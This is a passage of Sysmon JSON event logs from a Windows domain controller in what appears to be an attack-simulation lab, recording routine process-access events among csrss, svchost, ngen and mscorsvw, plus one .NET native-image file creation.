C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:32.197","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4350-5F2D-0000-0010973B1100}","TargetProcessId":"4624","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8300,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:32.213\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4350-5F2D-0000-0010973B1100}\r\nTargetProcessId: 4624\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:32.213","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4350-5F2D-0000-0010973B1100}","TargetProcessId":"4624","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8301,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:32.276\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nSourceProcessId: 4796\r\nSourceThreadId: 4524\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4350-5F2D-0000-00102A3F1100}\r\nTargetProcessId: 3324\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+784ad|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ae03(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c43d(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c4ad(wow64)|C:\\Windows\\System32\\KERNEL32.DLL+162c4(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60969(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60934(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:32.276","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","SourceProcessId":"4796","SourceThreadId":"4524","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4350-5F2D-0000-00102A3F1100}","TargetProcessId":"3324","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+784ad|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ae03(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c43d(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c4ad(wow64)|C:\\Windows\\System32\\KERNEL32.DLL+162c4(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60969(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60934(wow64)","EventReceivedTime":"2020-08-07 12:04:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8302,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:32.276\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4350-5F2D-0000-00102A3F1100}\r\nTargetProcessId: 3324\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:32.276","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4350-5F2D-0000-00102A3F1100}","TargetProcessId":"3324","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8303,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:32.291\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4350-5F2D-0000-00102A3F1100}\r\nTargetProcessId: 3324\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:32.291","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4350-5F2D-0000-00102A3F1100}","TargetProcessId":"3324","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":8304,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:04:32.822\r\nProcessGuid: {90617006-4350-5F2D-0000-00102A3F1100}\r\nProcessId: 3324\r\nImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Temp\\cfc-0\\System.Management.dll\r\nCreationUtcTime: 2020-08-07 12:04:32.822","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:04:32.822","ProcessGuid":"{90617006-4350-5F2D-0000-00102A3F1100}","Image":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Temp\\cfc-0\\System.Management.dll","CreationUtcTime":"2020-08-07 12:04:32.822","EventReceivedTime":"2020-08-07 12:04:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8305,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:32.932\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nSourceProcessId: 4796\r\nSourceThreadId: 4820\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-432F-5F2D-0000-0010937D1000}\r\nTargetProcessId: 2436\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+abce(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+af4a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b1b4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8f0a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8fe3(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+9082(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:32.932","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","SourceProcessId":"4796","SourceThreadId":"4820","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-432F-5F2D-0000-0010937D1000}","TargetProcessId":"2436","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+abce(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+af4a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b1b4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8f0a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8fe3(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+9082(wow64)","EventReceivedTime":"2020-08-07 12:04:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8306,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:32.932\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-432F-5F2D-0000-0010937D1000}\r\nTargetProcessId: 2436\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:32.932","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-432F-5F2D-0000-0010937D1000}","TargetProcessId":"2436","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8307,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:32.948\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4350-5F2D-0000-00100C431100}\r\nTargetProcessId: 2436\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:32.948","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4350-5F2D-0000-00100C431100}","TargetProcessId":"2436","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8308,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:32.995\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nSourceProcessId: 4796\r\nSourceThreadId: 4524\r\nSourceImage: 